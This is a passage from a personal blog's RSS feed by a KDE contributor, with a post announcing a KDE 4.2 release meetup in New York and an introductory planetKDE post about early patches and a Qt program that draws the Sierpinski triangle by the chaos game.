			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/96"  data-text="WebKit in Konqueror/KDE" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/96"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/96/feed</wfw:commentRss>
		<slash:comments>58</slash:comments>
		</item>
		<item>
		<title>KDE 4.2 Release in New York City</title>
		<link>http://blog.zx2c4.com/80</link>
		<comments>http://blog.zx2c4.com/80#comments</comments>
		<pubDate>Sun, 25 Jan 2009 23:45:12 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[KDE]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=80</guid>
		<description><![CDATA[Anybody interested in some sort of NYC release event for 4.2? If so, leave a comment and maybe if there&#8217;s enough interest we&#8217;ll organize something. Update: There will be a KDE 4.2 release event at the Hungarian Pastry Shop on 1030 Amsterdam Avenue (between west 110th and 111th) at 8pm on January 28th. Visit wiki [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/80#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=80" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>Anybody interested in some sort of NYC release event for 4.2? If so, leave a comment and maybe if there&#8217;s enough interest we&#8217;ll organize something.</p>
<p><b>Update:</b><br />
There will be a KDE 4.2 release event at <a href="http://maps.google.com/maps?f=q&#038;source=s_q&#038;hl=en&#038;geocode=&#038;q=1030+Amsterdam+Ave+(the+Hungarian+Pastry+Shop)&#038;sll=40.808222,-73.974552&#038;sspn=0.081986,0.127888&#038;ie=UTF8&#038;ll=40.804568,-73.962557&#038;spn=0.010249,0.015986&#038;z=16&#038;iwloc=r0" onclick="pageTracker._trackPageview('/outgoing/maps.google.com/maps?f=q_038_source=s_q_038_hl=en_038_geocode=_038_q=1030+Amsterdam+Ave+_the+Hungarian+Pastry+Shop_038_sll=40.808222_-73.974552_038_sspn=0.081986_0.127888_038_ie=UTF8_038_ll=40.804568_-73.962557_038_spn=0.010249_0.015986_038_z=16_038_iwloc=r0&amp;referer=');">the Hungarian Pastry Shop on 1030 Amsterdam Avenue (between west 110th and 111th)</a> at <b>8pm</b> on <b>January 28th</b>. Visit <a href="http://wiki.kde.org/tiki-index.php?page=KDE+4.2+Release+Party#_United_States_New_York_NY" onclick="pageTracker._trackPageview('/outgoing/wiki.kde.org/tiki-index.php?page=KDE+4.2+Release+Party_United_States_New_York_NY&amp;referer=');">wiki information</a>.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/80#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=80" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F80&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/80"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/80"  data-text="KDE 4.2 Release in New York City" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/80"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/80/feed</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>That large mass has a tractor beam! That&#8217;s not a planet&#8230; that&#8217;s a deathsta&#8211;. Oh, that&#8217;s planetKDE.</title>
		<link>http://blog.zx2c4.com/4</link>
		<comments>http://blog.zx2c4.com/4#comments</comments>
		<pubDate>Fri, 24 Oct 2008 04:42:03 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[KDE]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I&#8217;ve been watching the development of KDE for a while, submitting bug reports and testing trunk, and last night I made my first patch. I received an svn account and decided to start working on Amarok 2, for which I&#8217;m currently fixing this bug. But I also intend to work on other areas of KDE, [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/4#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=4" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been watching the development of KDE for a while, submitting bug reports and testing trunk, and last night I made my first <a href="http://websvn.kde.org/?view=rev&amp;revision=875009" onclick="pageTracker._trackPageview('/outgoing/websvn.kde.org/?view=rev_amp_revision=875009&amp;referer=');">patch</a>. I received an svn account and decided to start working on Amarok 2, for which I&#8217;m currently fixing <a href="https://bugs.kde.org/show_bug.cgi?id=173341" onclick="pageTracker._trackPageview('/outgoing/bugs.kde.org/show_bug.cgi?id=173341&amp;referer=');">this bug</a>. But I also intend to work on other areas of KDE, after I poke around for a while and learn the general layout of the project. Suggestions? To begin, I think I might start investigating <a href="http://bugs.kde.org/show_bug.cgi?id=168154" onclick="pageTracker._trackPageview('/outgoing/bugs.kde.org/show_bug.cgi?id=168154&amp;referer=');">this bug</a>. I also work on the <a href="http://www.arora-browser.org" onclick="pageTracker._trackPageview('/outgoing/www.arora-browser.org?referer=');">Arora Browser</a>.</p>
<p>Speaking of projects, to learn more about Qt&#8217;s painting system, I wrote a program that generates the <a href="http://en.wikipedia.org/wiki/Sierpi%C5%84ski_triangle" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/Sierpi_C5_84ski_triangle?referer=');">Sierpiński triangle</a> using a <a href="http://en.wikipedia.org/wiki/Chaos_game" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/Chaos_game?referer=');">chaos game</a>. Pick three vertices of a triangle. Plot a point at random inside that triangle. Choose a vertex of the triangle at random and plot the midpoint between the chosen vertex and the previous point plotted. Repeat this ad infinitum and you get:<br />
<a href="http://blog.zx2c4.com/wp-content/uploads/2008/10/fractal.jpg"><img src="http://blog.zx2c4.com/wp-content/uploads/2008/10/fractal-450x441.jpg" alt="" title="Triangle Fractal Chaos Screenshot" width="450" height="441" class="aligncenter size-medium wp-image-9" /></a><br />
I don&#8217;t think that I&#8217;ve implemented the drawing in the most ideal way, so please leave suggestions. I opted to use a QImage instead of a QPainter, and then just fill pixels and scale. You can <a href="http://git.zx2c4.com/?p=trianglefractalchaos.git;a=tree" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/?p=trianglefractalchaos.git_a=tree&amp;referer=');">browse</a> the source, checkout the repository with <code>git clone http://git.zx2c4.com/trianglefractalchaos.git</code>, or download a <a href="http://git.zx2c4.com/?p=trianglefractalchaos.git;a=snapshot;h=HEAD;sf=tgz" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/?p=trianglefractalchaos.git_a=snapshot_h=HEAD_sf=tgz&amp;referer=');">tarball</a>.</p>
<p>Currently I&#8217;m running 4.1.2, but I plan to switch completely over to trunk in the next few weeks. Here&#8217;s my default clean desktop:<br />
<a href="http://blog.zx2c4.com/wp-content/uploads/2008/10/desktop_with_notes.png"><img src="http://blog.zx2c4.com/wp-content/uploads/2008/10/desktop_with_notes-450x281.png" alt="" title="Default KDE Desktop with Notes" width="450" height="281" class="aligncenter size-medium wp-image-10" /></a><br />
The large note on the left is about a few ideas for a shared-server-plan based file sharing mini-network. Maybe I&#8217;ll say more on this another time if I end up implementing it.</p>
<p>Hello planetKDE.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/4#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=4" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F4&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/4"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/4"  data-text="That large mass has a tractor beam! That&#8217;s not a planet&#8230; that&#8217;s a deathsta&#8211;. Oh, that&#8217;s planetKDE." data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/4"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/4/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>

